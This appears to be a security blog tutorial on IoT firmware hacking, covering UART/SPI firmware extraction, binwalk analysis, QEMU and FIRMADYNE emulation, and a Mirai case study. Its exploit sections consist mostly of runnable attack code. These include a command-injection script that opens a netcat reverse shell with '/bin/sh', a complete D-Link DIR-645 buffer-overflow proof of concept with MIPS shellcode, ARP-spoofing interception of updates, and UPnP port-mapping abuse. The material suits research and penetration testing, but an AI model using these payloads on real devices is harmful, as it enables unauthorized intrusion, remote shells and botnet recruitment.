TL;DR — IoT devices running embedded Linux, RTOS, and bare-metal firmware present a rich attack surface accessible via UART, JTAG, and SPI flash interfaces. Attackers extract firmware via hardware debugging ports, analyze it with binwalk, emulate it with QEMU/FIRMADYNE, and discover classic vulnerabilities — stack overflows, command injection, and hardcoded credentials — in web interfaces and network daemons running as root with no exploit mitigations.
Executive Summary
The Internet of Things encompasses billions of devices — home routers, IP cameras, industrial control systems, smart TVs, medical devices, and automotive head units — running software that was written before modern security practices became standard. These devices often ship with hardcoded credentials, unpatched kernels, no address space layout randomization (ASLR), no stack canaries, no NX/DEP, and network services listening on every interface. They are almost never updated after purchase. Many run the same firmware for a decade.
The attack methodology against IoT devices follows a consistent playbook: extract the firmware, analyze the filesystem for vulnerabilities, emulate the target environment to develop exploits without requiring physical hardware, then translate working exploits to the real device. Each phase has a rich toolset — binwalk for extraction, FIRMADYNE and QEMU for emulation, GDB with PEDA for exploit development, and hardware tools like FTDI adapters and Bus Pirate for physical interface access.
This post covers the complete IoT hacking methodology: physical firmware extraction via UART, JTAG, and SPI flash chip reading; firmware analysis with binwalk and file system tools; emulation with QEMU full-system and user-mode; vulnerability discovery in web interfaces, UPnP stacks, and TR-069 implementations; exploit development for MIPS and ARM targets; and case studies from real-world devices including D-Link routers, TP-Link cameras, and the Mirai botnet's target class. This knowledge is essential for IoT security researchers, embedded systems penetration testers, and product security teams responsible for evaluating connected devices before deployment.
IoT Attack Surface and Architecture
Common Processor Architectures
IoT devices run on a diverse set of SoC (System-on-Chip) platforms, each with different toolchains and debugging interfaces:
| SoC Vendor | Common Architecture | Example Devices | Debugging Interface |
|---|---|---|---|
| Broadcom BCM63xx | MIPS 32-bit | Consumer routers (ASUS, Netgear) | UART, JTAG |
| MediaTek MT7621 | MIPS 1004Kc | Budget routers, IoT gateways | UART, JTAG |
| Qualcomm IPQ806x | ARM Cortex-A | Enterprise routers, APs | UART, JTAG, EDL |
| Realtek RTL8197 | MIPS 24K | Budget routers, cameras | UART |
| Marvell Armada | ARM Cortex-A9 | NAS devices | UART, JTAG |
| Espressif ESP32 | Xtensa LX6 | IoT sensors, smart devices | UART, JTAG via USB |
| Nordic nRF52 | ARM Cortex-M4 | BLE devices, wearables | SWD (Serial Wire Debug) |
Software Layers
Most IoT devices run one of three software models:
Embedded Linux (OpenWrt, Buildroot, Yocto): A full Linux kernel with BusyBox userspace. Standard exploitation techniques apply — buffer overflows, format strings, command injection — but the environment is severely constrained (limited libc, no ASLR, no PIE, no stack cookies on many builds).
RTOS (FreeRTOS, VxWorks, ThreadX): Deterministic scheduling for real-time requirements. No virtual memory protection between tasks. Exploitation requires understanding the specific RTOS task model and memory layout.
Bare-metal: No OS at all. Direct hardware access from application code. Common in simple sensors and actuators. Debugging requires hardware access.
Firmware Extraction Methods
UART Serial Console
UART (Universal Asynchronous Receiver/Transmitter) is the most common debug interface on consumer IoT devices. Finding UART pins is the first hardware hacking skill to develop.
Physical identification:
- Look for unpopulated 4-pin headers (VCC, GND, TX, RX) near the processor
- Use a multimeter to measure voltages: GND = 0V, VCC = 3.3V or 5V, TX = oscillating between 0V and VCC during boot
- TX from device connects to RX on your adapter; RX from device connects to TX on your adapter
Equipment needed:
- FTDI FT232RL USB-to-UART adapter (~$5 on AliExpress)
- Logic analyzer (optional, for baud rate detection)
- Jumper wires
# Step 1: Identify baud rate (usually 115200 for modern devices)# Use minicom or screen to test common ratesscreen /dev/ttyUSB0 115200 # Step 2: If U-Boot bootloader is present, interrupt autoboot# Hit any key within 2 seconds of seeing "Hit any key to stop autoboot" # U-Boot shell commands to extract firmware# Read flash to RAM buffernand read 0x80000000 0x0 0x2000000# Or for NOR flash:cp.b 0xB8000000 0x80000000 0x800000 # Send via XMODEM or TFTPtftp 0x80000000 192.168.1.10:firmware.bin 0x2000000# Or set up a TFTP server and pull from U-Boot:setenv serverip 192.168.1.10tftp 0x80000000 firmware.bin # Step 3: If you get Linux root shell via UART# Look for flash devicecat /proc/mtd# MTD device layout example:# dev: size erasesize name# mtd0: 00040000 00010000 "boot"# mtd1: 00010000 00010000 "config"# mtd2: 00790000 00010000 "firmware" # Dump firmware partitiondd if=/dev/mtd2 | nc 192.168.1.10 9999# On receiving machine:nc -lvp 9999 > firmware.binSPI Flash Chip Reading
When UART access is locked or U-Boot has a password, reading the SPI flash chip directly is the alternative.
# Equipment: Bus Pirate, FlashCat, or Raspberry Pi with SPI support# Software: flashrom # Identify the flash chip (look for the part number printed on the chip)# Common chips: Winbond W25Q64FV, Macronix MX25L12835F, Spansion S25FL128P # Connect SPI pins: CS, CLK, MOSI, MISO, VCC (3.3V), GND# Consult the datasheet for pin 1 orientation (usually marked with a dot) # Read flash with flashrom using Bus Pirateflashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -r firmware.bin # Verify read integrity by reading twice and comparingflashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -r firmware2.binmd5sum firmware.bin firmware2.bin # Alternative: using a Raspberry Pi# Enable SPI in /boot/config.txt: dtparam=spi=onflashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.binOver-the-Air Update Interception
Many IoT devices download firmware updates over HTTP (not HTTPS), making interception trivial:
# Set up ARP poisoning to intercept device trafficarpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # Capture HTTP traffic and extract firmware binarytcpdump -i eth0 -A port 80 | grep -i firmware# Or use Wireshark with HTTP object export # If updates use HTTPS with no certificate pinning:# Set up mitmproxy with a custom CA installed on the device# (if you have shell access to install certificates)mitmproxy --mode transparent --ssl-insecure # Modify the firmware before device receives it (requires signing key or no signature check)# This is how researchers inject persistent backdoors for research purposesFirmware Analysis
Binwalk Extraction
# Install binwalkapt install binwalk # Scan for embedded file signaturesbinwalk firmware.bin # Example output:# DECIMAL HEXADECIMAL DESCRIPTION# 0 0x0 U-Boot legacy image# 64 0x40 Linux kernel ARM boot image# 1507328 0x170000 Squashfs filesystem, little endian# 4194304 0x400000 JFFS2 filesystem data # Extract all identified componentsbinwalk -e firmware.bin # Recursive extraction (extracts archives within archives)binwalk -Me firmware.bin # Navigate extracted filesystemls _firmware.bin.extracted/ls _firmware.bin.extracted/squashfs-root/ # Find credentials and sensitive datagrep -r "password\|passwd\|secret\|api_key\|private_key" _firmware.bin.extracted/ --include="*.conf" --include="*.cfg" --include="*.ini" # Find hardcoded passwords in /etc/passwd or /etc/shadowcat _firmware.bin.extracted/etc/passwdcat _firmware.bin.extracted/etc/shadow # Check for private keysfind _firmware.bin.extracted/ -name "*.pem" -o -name "*.key" -o -name "id_rsa" # Find network service binariesfind _firmware.bin.extracted/ -name "httpd" -o -name "telnetd" -o -name "dropbear" # Check for enabled services in init scriptsls _firmware.bin.extracted/etc/init.d/grep -r "telnet\|httpd\|dropbear\|ftpd" _firmware.bin.extracted/etc/init.d/Hardcoded Credential Discovery
A disturbing number of IoT devices ship with credentials that cannot be changed:
# Check /etc/passwd for suspicious accountscat _firmware.bin.extracted/etc/passwd# admin:$1$abcd1234$hashedpassword:0:0:root:/:/bin/sh ← root shell for admin!# support:$1$xyz:0:0:root:/:/bin/sh ← backdoor account! # Crack found hashesjohn --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Search for plaintext passwords in web interface filesgrep -r "password\|passwd" _firmware.bin.extracted/www/ grep -r "admin\|root\|1234\|default" _firmware.bin.extracted/etc/ # Check for hardcoded credentials in binary filesstrings _firmware.bin.extracted/usr/sbin/httpd | grep -i "admin\|password\|secret" # Check SSL certificates and private keysfind . -name "*.crt" -o -name "*.pem" | xargs openssl x509 -noout -subject 2>/dev/nullFirmware Emulation with QEMU
FIRMADYNE Full-System Emulation
FIRMADYNE automates the emulation of Linux-based IoT firmware:
# Install FIRMADYNEgit clone https://github.com/firmadyne/firmadyne.gitcd firmadyne./setup.sh # Extract and load firmware into FIRMADYNE database./sources/extractor/extractor.py -b D-Link -sql 127.0.0.1 -np -nk firmware.bin images/ # Identify the architecture./scripts/getArch.sh ./images/1.tar.gz# Output: mipseb (MIPS big-endian) # Create QEMU image./scripts/makeImage.sh 1 mipseb # Infer network configuration./scripts/inferNetwork.sh 1 mipseb # Boot the emulated firmware./scratch/1/run.sh # The firmware's web interface is now accessible# Check output for the assigned IP address# curl http://192.168.0.1/QEMU User-Mode Emulation
For testing individual binaries without full system emulation:
# Install QEMU user-mode emulatorsapt install qemu-user qemu-user-static # Copy the binary and its dependenciescp _firmware.bin.extracted/usr/sbin/httpd ./test_env/cp -r _firmware.bin.extracted/lib ./test_env/cp -r _firmware.bin.extracted/usr/lib ./test_env/usr/ # Run MIPS binary on x86 hostqemu-mips -L ./test_env ./test_env/usr/sbin/httpd # Run with GDB server for debuggingqemu-mips -g 1234 -L ./test_env ./test_env/usr/sbin/httpd &# Connect with GDBgdb-multiarch ./test_env/usr/sbin/httpd(gdb) target remote :1234(gdb) continue # For ARM binariesqemu-arm -L ./test_env ./test_env/usr/sbin/httpdqemu-arm -g 1234 -L ./test_env ./test_env/usr/sbin/httpdVulnerability Discovery
Stack-Based Buffer Overflow in CGI Handlers
IoT web interfaces commonly use CGI scripts or compiled CGI handlers that process HTTP parameters without bounds checking:
# Find potentially vulnerable CGI handlersfind _firmware.bin.extracted/ -path "*/cgi-bin/*" -type ffind _firmware.bin.extracted/ -name "*.cgi" -type f # Static analysis with checksecchecksec --file=_firmware.bin.extracted/usr/sbin/httpd# Typical output on vulnerable IoT firmware:# RELRO: No RELRO STACK CANARY: No canary NX: NX disabled# PIE: No PIE RPATH: No RPATH Symbols: No Symbols # Check for dangerous functions with radare2r2 _firmware.bin.extracted/usr/sbin/httpd[0x00400000]> aaa # Analyze all[0x00400000]> afl | grep -i "strcpy\|sprintf\|gets\|scanf" # Find dangerous functions # Dynamic analysis: fuzz HTTP parametersffuf -u "http://192.168.0.1/cgi-bin/login.cgi?user=FUZZ&pass=admin" \ -w /dev/stdin \ -input-cmd "python3 -c 'print(\"A\"*{n})' for n in range(100,5000,100)"Command Injection
Network diagnostic features (ping, traceroute) are frequent command injection vectors:
# Testing for command injection in IoT web interfaceimport requestsimport time TARGET = "http://192.168.1.1"SESSION = requests.Session() # Authenticate first (or use default creds)SESSION.post(f"{TARGET}/login", data={"user": "admin", "pass": "admin"}) # Time-based command injection testpayloads = [ "8.8.8.8; sleep 5 #", # Unix command chaining "8.8.8.8 | sleep 5", # Pipe injection "8.8.8.8 && sleep 5", # AND execution "8.8.8.8`sleep 5`", # Backtick injection "$(sleep 5)", # $() subshell "8.8.8.8%0asleep%205", # Newline injection (URL encoded)] for payload in payloads: start = time.time() try: r = SESSION.post(f"{TARGET}/cgi-bin/diagnostic.cgi", data={"host": payload}, timeout=10) elapsed = time.time() - start if elapsed >= 4.5: print(f"[+] COMMAND INJECTION CONFIRMED: {payload}") print(f" Response time: {elapsed:.2f}s") # Now get a reverse shell shell_payload = f"8.8.8.8; nc 192.168.1.100 4444 -e /bin/sh" SESSION.post(f"{TARGET}/cgi-bin/diagnostic.cgi", data={"host": shell_payload}, timeout=2) except requests.Timeout: elapsed = time.time() - start if elapsed >= 4.5: print(f"[+] COMMAND INJECTION (timeout): {payload}")Exploit Development for MIPS/ARM
Return-to-libc on MIPS (No NX)
When NX is disabled (common on IoT), shellcode injection is the simplest approach. When NX is enabled without ASLR:
# Find useful gadgets and libc functions# MIPS calling convention: args in $a0-$a3, return value in $v0 # Find system() address in the binary or libcreadelf -s _firmware.bin.extracted/lib/libc.so.0 | grep " system"# 0x0004b2a0 ... system # Find /bin/sh stringstrings -tx _firmware.bin.extracted/lib/libc.so.0 | grep "/bin/sh"# 0x12ab34 /bin/sh # For MIPS, the return-to-libc gadget chain:# 1. Control $ra (return address) via stack overflow# 2. Point $ra to system() in libc# 3. Set $a0 to point to "/bin/sh" string# This is complicated by MIPS calling conventions — # need a gadget that loads $a0 from stack before jumping to system() # Find appropriate gadgets with ROPgadgetROPgadget --binary _firmware.bin.extracted/usr/sbin/httpd --arch mipsD-Link DIR-645 Buffer Overflow Case Study
The D-Link DIR-645 suffered a classic unauthenticated buffer overflow in its hedwig.cgi handler. The vulnerability was in the Cookie HTTP header parsing:
# D-Link DIR-645 PoC (CVE-2013-7389)import socketimport struct TARGET_IP = "192.168.1.1"TARGET_PORT = 80 # Offset to $ra: 1035 bytes# Return address: address of stack pointer value (for shellcode)# MIPS shellcode: execve("/bin/sh", ["/bin/sh"], NULL)SHELLCODE = ( b"\x28\x06\xff\xff" # slti $a2,$zero,-1 b"\x3c\x0f\x2f\x2f" # lui $t7,0x2f2f b"\x35\xef\x62\x69" # ori $t7,$t7,0x6269 b"\xaf\xaf\xff\xf4" # sw $t7,-12($sp) b"\x3c\x0e\x6e\x2f" # lui $t6,0x6e2f b"\x35\xce\x73\x68" # ori $t6,$t6,0x7368 b"\xaf\xae\xff\xf8" # sw $t6,-8($sp) b"\xaf\xa0\xff\xfc" # sw $zero,-4($sp) b"\x27\xa4\xff\xf4" # addiu $a0,$sp,-12 b"\xaf\xa4\xff\xf0" # sw $a4,-16($sp) b"\xaf\xa0\xff\xec" # sw $zero,-20($sp) b"\x27\xa5\xff\xf0" # addiu $a1,$sp,-16 b"\x24\x02\x0f\xab" # li $v0,0xfab (execve) b"\x01\x01\x01\x0c" # syscall) OFFSET = 1035RET_ADDR = struct.pack(">I", 0x7fffcf60) # Stack address (no ASLR) payload = (b"A" * OFFSET + RET_ADDR + SHELLCODE) http_request = ( f"POST /hedwig.cgi HTTP/1.1\r\n" f"Host: {TARGET_IP}\r\n" f"Cookie: uid={payload.decode('latin-1')}\r\n" f"Content-Length: 4\r\n\r\ntest") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TARGET_IP, TARGET_PORT))s.send(http_request.encode('latin-1'))print("[*] Exploit sent — check for reverse shell")Network Service Attacks
UPnP SSDP Exploitation
Universal Plug and Play is enabled by default on most routers and has a long history of critical vulnerabilities:
# Discover UPnP devices on the networknmap -sU -p 1900 --script upnp-info 192.168.1.0/24 # Miranda UPnP exploitation frameworkpython miranda.pyupnp> msearchupnp> host listupnp> host get 0upnp> host send 0 WANIPConnection DeletePortMapping # Direct SOAP request to UPnP control URLcurl -s --header 'Content-Type: text/xml' \ --header 'SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' \ --data '<?xml version="1.0"?><s:Envelope ...>...</s:Envelope>' \ http://192.168.1.1:5000/ctl/IPConn # Expose internal SSH to internet via UPnP port mapping# (classic exploitation technique)Mirai Botnet — Case Study
The Mirai botnet (2016) infected over 600,000 IoT devices — cameras, DVRs, routers — and used them to conduct the largest DDoS attacks ever seen at that time. Its infection methodology was brutally simple:
flowchart TD
A[Mirai Scanner] -->|Scan internet for Telnet port 23/2323| B[Found Open Telnet]
B --> C[Try 61 Hardcoded Credential Pairs]
C -->|Success| D[Execute Dropper Payload]
C -->|Fail| A
D --> E[Download Mirai Binary for Target Architecture]
E --> F[Kill Other Malware Processes]
F --> G[Register with C2 Server]
G --> H[Await DDoS Attack Commands]
H --> I[Flood Attack: SYN flood, DNS amplification, HTTP flood]
I -->|Target| J[Victim Server/Infrastructure]Mirai's default credential list included admin/admin, root/root, admin/1234, guest/guest, and 57 other combinations — hardcoded by manufacturers into millions of devices. The lesson: hardcoded credentials are not a minor convenience issue; they are a critical vulnerability that enables infrastructure-scale attacks.
Conclusion
IoT firmware security research requires a unique combination of hardware skills, embedded software knowledge, and traditional vulnerability research techniques. The attack surface is immense: billions of deployed devices, most running unpatched kernels, with no exploit mitigations, and credentials that cannot be changed. The tools — binwalk, QEMU, FIRMADYNE, GDB with cross-architecture support — make it possible to analyze and emulate these devices without requiring access to the physical hardware for much of the research phase.
The vulnerability patterns repeat across vendors and generations: hardcoded credentials, command injection in diagnostic handlers, stack overflows in CGI parsers, and enabled debug interfaces that were never meant to ship in production devices. Manufacturers face intense pressure to ship quickly and cheaply, and security engineering is consistently deprioritized.
For defenders, the minimum viable security posture for IoT devices includes: unique per-device credentials provisioned at manufacturing time, mandatory firmware update mechanisms with cryptographic signature verification, disabled UART/JTAG access in production builds, and network service minimization (disable Telnet, UPnP, TR-069 on interfaces facing untrusted networks). For researchers and penetration testers, this discipline combines the satisfaction of physical hardware hacking with the intellectual challenge of binary reverse engineering — a uniquely compelling area of offensive security.
MITRE ATT&CK Mapping
| Technique ID | Technique Name | IoT Context |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Exploiting web interface buffer overflows and command injection via WAN |
| T1133 | External Remote Services | Attacking exposed Telnet, SSH, TR-069, and UPnP services |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | Command injection via diagnostic handlers (ping, traceroute) |
| T1110.001 | Brute Force: Password Guessing | Automated credential stuffing with hardcoded credential lists (Mirai) |
| T1195.001 | Supply Chain Compromise: Compromise Software Supply Chain | Backdoored firmware from vendors; compromised OTA update channels |
| T1040 | Network Sniffing | Intercepting OTA firmware updates on plaintext HTTP channels |
| T1200 | Hardware Additions | Connecting FTDI/Bus Pirate adapters to UART/SPI interfaces |
| T1542.001 | Pre-OS Boot: System Firmware | Modifying firmware via U-Boot or direct flash chip writing |
| T1498 | Network Denial of Service | Using compromised IoT botnets (Mirai) for DDoS attacks |
| T1078.001 | Valid Accounts: Default Accounts | Exploiting factory default or hardcoded credentials |